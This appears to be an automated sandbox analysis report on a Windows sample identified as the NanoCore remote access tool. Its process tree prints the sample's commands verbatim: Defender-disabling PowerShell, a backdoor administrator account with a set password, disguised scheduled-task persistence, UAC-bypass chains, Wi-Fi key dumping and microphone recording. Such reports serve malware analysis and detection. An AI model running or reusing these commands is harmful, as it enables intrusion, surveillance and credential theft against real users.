Analysis
- max time kernel
0s - max time network
44s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/08/2026, 13:55
Errors
Reason
Machine shutdown
General
- Target electricstud.io_new.exe
- Size 25KB
- Sample260809-q783wayfra
- SHA256 d9ab72d0da9c715cb69581ac2ccad61958ffb1dd4649bd79ae910d089530f669
Score
10/10
Malware Config
Extracted
Family
-
nanocore
Attributes
-
c2_port
443
Signatures
- Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Disables one or more Microsoft Defender components 1 TTPs 25 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Adds Run key to start application 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs
Using powershell.exe command.
- Creates a new local user account 1 TTPs 45 IoCs
Uses net.exe to create a new local user account, often for persistence or a backdoor account.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Modifies registry class 6 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\aecb58bf-b096-4659-8dd9-222cff7c52ba.inf2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\575f9a5a-f582-41b5-80d1-985450e9c62d.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e36b4dd2-8322-4d39-9854-019394bedc0f.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\18b3adf2-116e-4431-b6ae-5b15a5c0eaa8.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a259df00-00b9-42e0-bccc-9c8bf8d9ad4f.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\87137aa4-02c4-4ccb-bbd8-20b8d68ee426.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ea8c1e5c-7516-46dd-9589-b4a5bc02f400.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"15⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f16⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3c7fad24-5751-496a-9e71-9fca6efa7bad.inf16⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"16⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"17⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"17⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f18⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5f8acc3e-4a47-47d8-89e4-e9a66164fcd5.inf18⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"18⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"19⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"19⤵
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cef83f73-88cb-4b81-b8b2-5073efcc89a8.inf20⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"20⤵
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"20⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"20⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"18⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add18⤵
- Creates a new local user account
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"16⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add16⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add17⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add16⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add17⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add15⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"12⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841612277462.wav')"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear8⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841612902689.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841615402265.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841595558714.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exeC:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bd167b1d-af0f-4f8f-b773-2ecd8805cdaa.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\tcpmon.exe"C:\Users\Admin\AppData\Local\tcpmon.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b7a8b966-2930-45de-aa42-1da0e2a63584.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0752325c-6cf4-425a-b6ad-e20d4824a2ce.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fe4f87a8-97fd-4e8b-9954-eca4a8a058b0.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\779adc58-e108-483f-a6e2-56f0a5fec35c.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\522310a8-d830-46cc-b248-8f7ef7235fb6.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\043cbf78-5ee3-42ac-91ec-9709c9533312.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add15⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
